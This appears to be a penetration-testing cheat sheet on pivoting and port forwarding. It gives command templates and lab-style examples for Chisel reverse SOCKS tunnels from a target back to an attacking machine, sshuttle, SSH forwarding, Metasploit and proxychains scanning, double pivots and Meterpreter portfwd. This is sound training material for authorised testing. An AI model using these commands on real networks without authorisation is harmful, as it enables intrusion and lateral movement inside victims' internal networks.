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Pivoting and Portforwarding

Chisel

Install

# Clone Repository
git clone 'https://github.com/jpillora/chisel.git'

# Build Binary
go build

# Binary is now built and ready to be transfered over to target system.

Reverse SOCKS proxy

# Attacking Machine
./chisel server -p <Port> --reverse &
./chisel server -p 1337 --reverse &

# On Target Machine
./chisel client <Attacking-IP>:<Port> R:socks &
./chisel client 10.50.46.8:1337 R:socks &

# Then use Proxychains to scan internal networks from the compromised host.

Shuttle

# Authenticate with password
sshuttle -r <User>@<Target-IP> <Target-Subnet> -x <Target-IP>
sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5

# Authenticate with key.
sshuttle -r <User>@<IP> --ssh-cmd "<Command>" <Target Subnet> -x <Exclude IP>
sshuttle -r root@10.200.48.200 --ssh-cmd "ssh -i id_rsa" 10.200.48.0/24 -x 10.200.48.200

SSH

# Forward RDP from internal host to Attacking Machine on port 1337.
ssh -L <LocalHost>:<Port>:<IP-To-Forward-From>:<Port> <User>@<IP>
ssh -L 127.0.0.1:1337:10.200.48.150:3389 root@10.200.48.200 -i id_rsa

# Forward remote port 80 to local port 80.
ssh atena@10.10.72.69 -L 80:127.0.0.1:80
ssh <User>@<IP> -L <Local-Port>127.0.0.1<Remote-Port>

# Dynamic SSH Port Forwarding
ssh -i <id_rsa> <User>@<IP> -D <Proxychains-Port>
ssh -i id_rsa errorcauser@10.10.254.201 -D 1080

Metasploit with Proxychains

Change last line in /etc/proxychains4.conf to the following value: socks5 127.0.0.1 1080

Then use the following Metasploit module:

use auxiliary/server/socks_proxy

Set module options to the following (Default):

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)

We can then force applications to use proxychains by initiating commands with the command proxychains first.

proxychains nmap <IP> -sT -p 1-10000 -sV -v
proxychains crackmapexec smb 10.10.10.100.5 -u '' -p ''
proxychains ssh <user>@<IP>
proxychains telnet <IP>

Double Pivot

# /etc/proxychains.conf
# Ensure dynamic_chain is uncommented

dynamic_chain
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
socks5  127.0.0.1 1080  # First Pivot
socks5  127.0.0.1 1081  # Second Pivot

Port Forward

Meterpreter can be used to portforward for access to file shares and web servers.

portfwd add -l <LocalPort> -p <RemotePort> -r <TargetIP>
portfwd add -l 3333 -p 3389 -r 10.10.10.5

Essentially as per the example command above we could connect to RDP on our local port in order to hit the remote port.

rdesktop 127.0.0.1:3333

xFreeRDP

Whilst not a direct pivoting technique, using xFreeRDP to share the hosts file system can give the attacker an easy route for moving files across systems to further assist with pivoting

xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share

Tools

Chisel: https://github.com/jpillora/chisel/releases/tag/v1.7.6

References

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